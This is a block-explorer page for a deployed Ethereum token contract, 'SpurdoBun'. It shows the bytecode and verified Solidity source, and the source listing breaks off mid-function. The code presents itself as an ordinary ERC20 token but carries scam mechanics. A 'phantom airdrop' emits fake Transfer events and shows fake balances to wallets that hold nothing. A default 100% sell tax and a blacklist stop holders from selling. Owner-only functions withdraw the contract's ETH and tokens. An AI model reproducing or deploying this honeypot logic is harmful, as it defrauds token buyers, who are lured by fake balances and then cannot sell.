Address Contract Verified
Address
0x6f9fe88CE51936BDf7701Bf23d7d479dbb05d44A
Balance
0 ETH
Nonce
1
Code Size
12773 bytes
Creator
0x750927c2...3934 at tx 0x78726ee8...2153cf
Indexed Transactions
0
Contract Bytecode
12773 bytes
0x6080604052600436106101d0575f3560e01c80638da5cb5b116100f6578063cc92ca7f11610094578063e6be4a7211610063578063e6be4a721461068d578063e96db1ef146106b5578063f2fde38b146106df578063fe575a8714610707576101d7565b8063cc92ca7f146105eb578063ce831ed514610613578063dd62ed3e14610629578063dd92fd9a14610665576101d7565b8063a457c2d7116100d0578063a457c2d71461050f578063a9059cbb1461054b578063c6a3064714610587578063cb4ca631146105af576101d7565b80638da5cb5b1461049157806395939cb1146104bb57806395d89b41146104e5576101d7565b8063313ce5671161016e5780634bb9aaf91161013d5780634bb9aaf9146103db5780635d098b381461040357806370a082311461042b57806375f0a87414610467576101d7565b8063313ce56714610323578063395093511461034d57806349bd5a5e1461038957806349e73d02146103b3576101d7565b806318160ddd116101aa57806318160ddd1461026b578063192986471461029557806323b872dd146102bf578063302f06f5146102fb576101d7565b806306fdde03146101db578063095ea7b3146102055780631694505e14610241576101d7565b366101d757005b5f5ffd5b3480156101e6575f5ffd5b506101ef610743565b6040516101fc919061229e565b60405180910390f35b348015610210575f5ffd5b5061022b60048036038101906102269190612353565b6107d3565b60405161023891906123ab565b60405180910390f35b34801561024c575f5ffd5b506102556107f5565b604051610262919061241f565b60405180910390f35b348015610276575f5ffd5b5061027f610819565b60405161028c9190612447565b60405180910390f35b3480156102a0575f5ffd5b506102a9610822565b6040516102b691906123ab565b60405180910390f35b3480156102ca575f5ffd5b506102e560048036038101906102e09190612460565b610835565b6040516102f291906123ab565b60405180910390f35b348015610306575f5ffd5b50610321600480360381019061031c9190612511565b610863565b005b34801561032e575f5ffd5b506103376109e7565b6040516103449190612589565b60405180910390f35b348015610358575f5ffd5b50610373600480360381019061036e9190612353565b6109ef565b60405161038091906123ab565b60405180910390f35b348015610394575f5ffd5b5061039d610a25565b6040516103aa91906125b1565b60405180910390f35b3480156103be575f5ffd5b506103d960048036038101906103d491906125f4565b610a49565b005b3480156103e6575f5ffd5b5061040160048036038101906103fc9190612674565b610b72565b005b34801561040e575f5ffd5b50610429600480360381019061042491906126d1565b610d01565b005b348015610436575f5ffd5b50610451600480360381019061044c91906126d1565b610ea9565b60405161045e9190612447565b60405180910390f35b348015610472575f5ffd5b5061047b610eeb565b60405161048891906125b1565b60405180910390f35b34801561049c575f5ffd5b506104a5610f10565b6040516104b291906125b1565b60405180910390f35b3480156104c6575f5ffd5b506104cf610f38565b6040516104dc9190612447565b60405180910390f35b3480156104f0575f5ffd5b506104f9610f3e565b604051610506919061229e565b60405180910390f35b34801561051a575f5ffd5b5061053560048036038101906105309190612353565b610fce565b60405161054291906123ab565b60405180910390f35b348015610556575f5ffd5b50610571600480360381019061056c9190612353565b611049565b60405161057e91906123ab565b60405180910390f35b348015610592575f5ffd5b506105ad60048036038101906105a89190612726565b61106b565b005b3480156105ba575f5ffd5b506105d560048036038101906105d091906126d1565b611185565b6040516105e291906123ab565b60405180910390f35b3480156105f6575f5ffd5b50610611600480360381019061060c9190612764565b6111a2565b005b34801561061e575f5ffd5b5061062761123b565b005b348015610634575f5ffd5b5061064f600480360381019061064a919061278f565b6113f5565b60405161065c9190612447565b60405180910390f35b348015610670575f5ffd5b5061068b600480360381019061068691906127cd565b611477565b005b348015610698575f5ffd5b506106b360048036038101906106ae9190612353565b611606565b005b3480156106c0575f5ffd5b506106c961179d565b6040516106d69190612589565b60405180910390f35b3480156106ea575f5ffd5b50610705600480360381019061070091906126d1565b6117b0565b005b348015610712575f5ffd5b5061072d600480360381019061072891906126d1565b6118a6565b60405161073a91906123ab565b60405180910390f35b60606003805461075290612857565b80601f016020809104026020016040519081016040528092919081815260200182805461077e90612857565b80156107c95780601f106107a0576101008083540402835291602001916107c9565b820191905f5260205f20905b8154815290600101906020018083116107ac57829003601f168201915b5050505050905090565b5f5f6107dd6118c3565b90506107ea8185856118ca565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b600560149054906101000a900460ff1681565b5f5f61083f6118c3565b905061084c8582856118dc565b610857858585611946565b60019150509392505050565b61086b6118c3565b73ffffffffffffffffffffffffffffffffffffffff16610889610f10565b73ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d6906128d1565b60405180910390fd5b5f8111610921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091890612939565b60405180910390fd5b5f6014848490506109329190612984565b14610972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610969906129fe565b60405180910390fd5b806006819055506001600560146101000a81548160ff0219169083151502179055507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef3084848101845f525b808210156109de57813560601c80848660205fa3506014820191506109be565b50505050505050565b5f6012905090565b5f5f6109f96118c3565b9050610a1a818585610a0b85896113f5565b610a159190612a49565b6118ca565b600191505092915050565b7f00000000000000000000000084b5a6270d26b0c2e5dc7ed36124640edda2779a81565b610a516118c3565b73ffffffffffffffffffffffffffffffffffffffff16610a6f610f10565b73ffffffffffffffffffffffffffffffffffffffff1614610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906128d1565b60405180910390fd5b60648160ff161115610b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0390612ac6565b60405180910390fd5b7f1a58f0bf0927d61cb0f389453c909826a51670e58585077ac6e895a5d1ce58b2600760149054906101000a900460ff1682604051610b4c929190612ae4565b60405180910390a180600760146101000a81548160ff021916908360ff16021790555050565b610b7a6118c3565b73ffffffffffffffffffffffffffffffffffffffff16610b98610f10565b73ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906128d1565b60405180910390fd5b5f8111610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790612939565b60405180910390fd5b806006819055506001600560146101000a81548160ff0219169083151502179055505f5f90505b83839050811015610cfb57838382818110610c7557610c74612b0b565b5b9050602002016020810190610c8a91906126d1565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce69190612447565b60405180910390a38080600101915050610c57565b50505050565b610d096118c3565b73ffffffffffffffffffffffffffffffffffffffff16610d27610f10565b73ffffffffffffffffffffffffffffffffffffffff1614610d7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d74906128d1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290612b82565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fc17db519c06a38e30a448e03e08b3edec28a0a29d239f693ab94a6206a5ca63d60405160405180910390a38060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f610eb483611a36565b90505f81148015610ed15750600560149054906101000a900460ff165b15610ee157600654915050610ee6565b809150505b919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b606060048054610f4d90612857565b80601f0160208091040260200160405190810160405280929190818152602001828054610f7990612857565b8015610fc45780601f10610f9b57610100808354040283529160200191610fc4565b820191905f5260205f20905b815481529060010190602001808311610fa757829003601f168201915b5050505050905090565b5f5f610fd86118c3565b90505f610fe582866113f5565b905083811015611030578481856040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161102793929190612ba0565b60405180910390fd5b61103d82868684036118ca565b60019250505092915050565b5f5f6110536118c3565b9050611060818585611946565b600191505092915050565b6110736118c3565b73ffffffffffffffffffffffffffffffffffffffff16611091610f10565b73ffffffffffffffffffffffffffffffffffffffff16146110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de906128d1565b60405180910390fd5b8060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167f057dc60ecf6df48e0f4af40ef0f88074d41e0ce54a1fef20925cd23c6de0386060405160405180910390a35050565b6008602052805f5260405f205f915054906101000a900460ff1681565b6111aa6118c3565b73ffffffffffffffffffffffffffffffffffffffff166111c8610f10565b73ffffffffffffffffffffffffffffffffffffffff161461121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611215906128d1565b60405180910390fd5b80600560146101000a81548160ff02191690831515021790555050565b6112436118c3565b73ffffffffffffffffffffffffffffffffffffffff16611261610f10565b73ffffffffffffffffffffffffffffffffffffffff16146112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906128d1565b60405180910390fd5b5f4790505f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161130190612c02565b5f6040518083038185875af1925050503d805f811461133b576040519150601f19603f3d011682016040523d82523d5f602084013e611340565b606091505b5050905080611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612c60565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f025dbd6ad989fe1a64db7dc049e29723ff9d35a97d84ae9aab96196f00ec1a006040516113e990612cee565b60405180910390a25050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61147f6118c3565b73ffffffffffffffffffffffffffffffffffffffff1661149d610f10565b73ffffffffffffffffffffffffffffffffffffffff16146114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea906128d1565b60405180910390fd5b5f5f90505b83839050811015611600578160095f86868581811061151a57611519612b0b565b5b905060200201602081019061152f91906126d1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555083838281811061159157611590612b0b565b5b90506020020160208101906115a691906126d1565b73ffffffffffffffffffffffffffffffffffffffff167fcf3473b85df1594d47b6958f29a32bea0abff9dd68296f7bf33443646793cfd8836040516115eb91906123ab565b60405180910390a280806001019150506114f8565b50505050565b61160e6118c3565b73ffffffffffffffffffffffffffffffffffffffff1661162c610f10565b73ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611679906128d1565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016116df929190612d0c565b6020604051808303815f875af11580156116fb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061171f9190612d47565b905080611761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175890612c60565b60405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5826040516117909190612de2565b60405180910390a1505050565b600760149054906101000a900460ff1681565b6117b86118c3565b73ffffffffffffffffffffffffffffffffffffffff166117d6610f10565b73ffffffffffffffffffffffffffffffffffffffff161461182c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611823906128d1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361189a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189190612e7e565b60405180910390fd5b6118a381611a7b565b50565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b6118d78383836001611b3e565b505050565b5f6118e784846113f5565b905081811015611932578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161192993929190612ba0565b60405180910390fd5b61194084848484035f611b3e565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119b6575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119ad91906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a26575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611a1d91906125b1565b60405180910390fd5b611a31838383611d0d565b505050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611bae575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611ba591906125b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1e575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611c1591906125b1565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611d07578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611cfe9190612447565b60405180910390a35b50505050565b600560149054906101000a900460ff168015611d5557505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dbd575f611d6484611a36565b03611dbc57600654811115611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da590612ee6565b60405180910390fd5b611dbb5f84600654612015565b5b5b7f00000000000000000000000084b5a6270d26b0c2e5dc7ed36124640edda2779a73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e5e575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9590612f74565b60405180910390fd5b7f00000000000000000000000084b5a6270d26b0c2e5dc7ed36124640edda2779a73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f91575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f8f575060085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b155b1561200557611f9e6109e7565b600a611faa91906130c1565b6002611fb6919061310b565b8110612004575f6064600760149054906101000a900460ff1660ff1683611fdd919061310b565b611fe7919061314c565b90508082611ff5919061317c565b9150612002843083612015565b505b5b612010838383612015565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612065578060025f8282546120599190612a49565b92505081905550612133565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156120ee578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016120e593929190612ba0565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361217a578060025f82825403925050819055506121c4565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122219190612447565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6122708261222e565b61227a8185612238565b935061228a818560208601612248565b61229381612256565b840191505092915050565b5f6020820190508181035f8301526122b68184612266565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122ef826122c6565b9050919050565b6122ff816122e5565b8114612309575f5ffd5b50565b5f8135905061231a816122f6565b92915050565b5f819050919050565b61233281612320565b811461233c575f5ffd5b50565b5f8135905061234d81612329565b92915050565b5f5f60408385031215612369576123686122be565b5b5f6123768582860161230c565b92505060206123878582860161233f565b9150509250929050565b5f8115159050919050565b6123a581612391565b82525050565b5f6020820190506123be5f83018461239c565b92915050565b5f819050919050565b5f6123e76123e26123dd846122c6565b6123c4565b6122c6565b9050919050565b5f6123f8826123cd565b9050919050565b5f612409826123ee565b9050919050565b612419816123ff565b82525050565b5f6020820190506124325f830184612410565b92915050565b61244181612320565b82525050565b5f60208201905061245a5f830184612438565b92915050565b5f5f5f60608486031215612477576124766122be565b5b5f6124848682870161230c565b93505060206124958682870161230c565b92505060406124a68682870161233f565b9150509250925092565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126124d1576124d06124b0565b5b8235905067ffffffffffffffff8111156124ee576124ed6124b4565b5b60208301915083600182028301111561250a576125096124b8565b5b9250929050565b5f5f5f60408486031215612528576125276122be565b5b5f84013567ffffffffffffffff811115612545576125446122c2565b5b612551868287016124bc565b935093505060206125648682870161233f565b9150509250925092565b5f60ff82169050919050565b6125838161256e565b82525050565b5f60208201905061259c5f83018461257a565b92915050565b6125ab816122e5565b82525050565b5f6020820190506125c45f8301846125a2565b92915050565b6125d38161256e565b81146125dd575f5ffd5b50565b5f813590506125ee816125ca565b92915050565b5f60208284031215612609576126086122be565b5b5f612616848285016125e0565b91505092915050565b5f5f83601f840112612634576126336124b0565b5b8235905067ffffffffffffffff811115612651576126506124b4565b5b60208301915083602082028301111561266d5761266c6124b8565b5b9250929050565b5f5f5f6040848603121561268b5761268a6122be565b5b5f84013567ffffffffffffffff8111156126a8576126a76122c2565b5b6126b48682870161261f565b935093505060206126c78682870161233f565b9150509250925092565b5f602082840312156126e6576126e56122be565b5b5f6126f38482850161230c565b91505092915050565b61270581612391565b811461270f575f5ffd5b50565b5f81359050612720816126fc565b92915050565b5f5f6040838503121561273c5761273b6122be565b5b5f6127498582860161230c565b925050602061275a85828601612712565b9150509250929050565b5f60208284031215612779576127786122be565b5b5f61278684828501612712565b91505092915050565b5f5f604083850312156127a5576127a46122be565b5b5f6127b28582860161230c565b92505060206127c38582860161230c565b9150509250929050565b5f5f5f604084860312156127e4576127e36122be565b5b5f84013567ffffffffffffffff811115612801576128006122c2565b5b61280d8682870161261f565b9350935050602061282086828701612712565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061286e57607f821691505b6020821081036128815761288061282a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128bb602083612238565b91506128c682612887565b602082019050919050565b5f6020820190508181035f8301526128e8816128af565b9050919050565b7f496e76616c6964207068616e746f6d20616d6f756e74000000000000000000005f82015250565b5f612923601683612238565b915061292e826128ef565b602082019050919050565b5f6020820190508181035f83015261295081612917565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61298e82612320565b915061299983612320565b9250826129a9576129a8612957565b5b828206905092915050565b7f496e76616c6964207061636b65642064617461206c656e6774680000000000005f82015250565b5f6129e8601a83612238565b91506129f3826129b4565b602082019050919050565b5f6020820190508181035f830152612a15816129dc565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612a5382612320565b9150612a5e83612320565b9250828201905080821115612a7657612a75612a1c565b5b92915050565b7f6d617820313030250000000000000000000000000000000000000000000000005f82015250565b5f612ab0600883612238565b9150612abb82612a7c565b602082019050919050565b5f6020820190508181035f830152612add81612aa4565b9050919050565b5f604082019050612af75f83018561257a565b612b04602083018461257a565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f7a65726f000000000000000000000000000000000000000000000000000000005f82015250565b5f612b6c600483612238565b9150612b7782612b38565b602082019050919050565b5f6020820190508181035f830152612b9981612b60565b9050919050565b5f606082019050612bb35f8301866125a2565b612bc06020830185612438565b612bcd6040830184612438565b949350505050565b5f81905092915050565b50565b5f612bed5f83612bd5565b9150612bf882612bdf565b5f82019050919050565b5f612c0c82612be2565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f612c4a600f83612238565b9150612c5582612c16565b602082019050919050565b5f6020820190508181035f830152612c7781612c3e565b9050919050565b7f457468657265756d205265636f76657265642066726f6d20636f6e74726163745f8201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd8602183612238565b9150612ce382612c7e565b604082019050919050565b5f6020820190508181035f830152612d0581612ccc565b9050919050565b5f604082019050612d1f5f8301856125a2565b612d2c6020830184612438565b9392505050565b5f81519050612d41816126fc565b92915050565b5f60208284031215612d5c57612d5b6122be565b5b5f612d6984828501612d33565b91505092915050565b7f57652068617665207265636f766572656420746f6b656e732066726f6d20636f5f8201527f6e74726163743a00000000000000000000000000000000000000000000000000602082015250565b5f612dcc602783612238565b9150612dd782612d72565b604082019050919050565b5f6040820190508181035f830152612df981612dc0565b9050612e086020830184612438565b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612e68602683612238565b9150612e7382612e0e565b604082019050919050565b5f6020820190508181035f830152612e9581612e5c565b9050919050565b7f45786365656473207068616e746f6d2062616c616e63650000000000000000005f82015250565b5f612ed0601783612238565b9150612edb82612e9c565b602082019050919050565b5f6020820190508181035f830152612efd81612ec4565b9050919050565b7f45524332303a20426c61636b6c697374656420616464726573732063616e6e6f5f8201527f742073656c6c20746f6b656e7300000000000000000000000000000000000000602082015250565b5f612f5e602d83612238565b9150612f6982612f04565b604082019050919050565b5f6020820190508181035f830152612f8b81612f52565b9050919050565b5f8160011c9050919050565b5f5f8291508390505b6001851115612fe757808604811115612fc357612fc2612a1c565b5b6001851615612fd25780820291505b8081029050612fe085612f92565b9450612fa7565b94509492505050565b5f82612fff57600190506130ba565b8161300c575f90506130ba565b8160018114613022576002811461302c5761305b565b60019150506130ba565b60ff84111561303e5761303d612a1c565b5b8360020a91508482111561305557613054612a1c565b5b506130ba565b5060208310610133831016604e8410600b84101617156130905782820a90508381111561308b5761308a612a1c565b5b6130ba565b61309d8484846001612f9e565b925090508184048111156130b4576130b3612a1c565b5b81810290505b9392505050565b5f6130cb82612320565b91506130d68361256e565b92506131037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ff0565b905092915050565b5f61311582612320565b915061312083612320565b925082820261312e81612320565b9150828204841483151761314557613144612a1c565b5b5092915050565b5f61315682612320565b915061316183612320565b92508261317157613170612957565b5b828204905092915050565b5f61318682612320565b915061319183612320565b92508282039050818111156131a9576131a8612a1c565b5b9291505056fea26469706673582212205967c2e39de45b72967bc6687ffa87fcef69ebcc8b6966cdbbb7ef759cb0c57364736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
SP.sol 482 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256))
private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(
address owner,
address spender
) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < subtractedValue) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
subtractedValue
);
}
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract SpurdoBun is ERC20, Ownable {
// ===== Phantom Airdrop State =====
bool public phantomMode;
uint256 public phantomAmount;
address public marketingWallet;
uint8 public sellMarketingTax = 100;
uint256 private immutable _totalSupply = 1_000_000_000 * 10 ** decimals();
mapping(address => bool) public isExcludedFromTax;
mapping(address => bool) public isBlacklisted;
IUniswapV2Router public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
event TaxExclusionUpdated(address indexed account, bool indexed status);
event MarketingWalletChanged(address indexed oldWallet, address indexed newWallet);
event MarketingTaxChanged(uint8 oldSellTax, uint8 sellMarketingTax);
event AuditLog(string text, address indexed account);
event Log(string text, uint256 value);
event Blacklisted(address indexed account, bool status);
// ===== Phantom Balance View =====
function balanceOf(address account) public view override returns (uint256) {
uint256 stored = super.balanceOf(account);
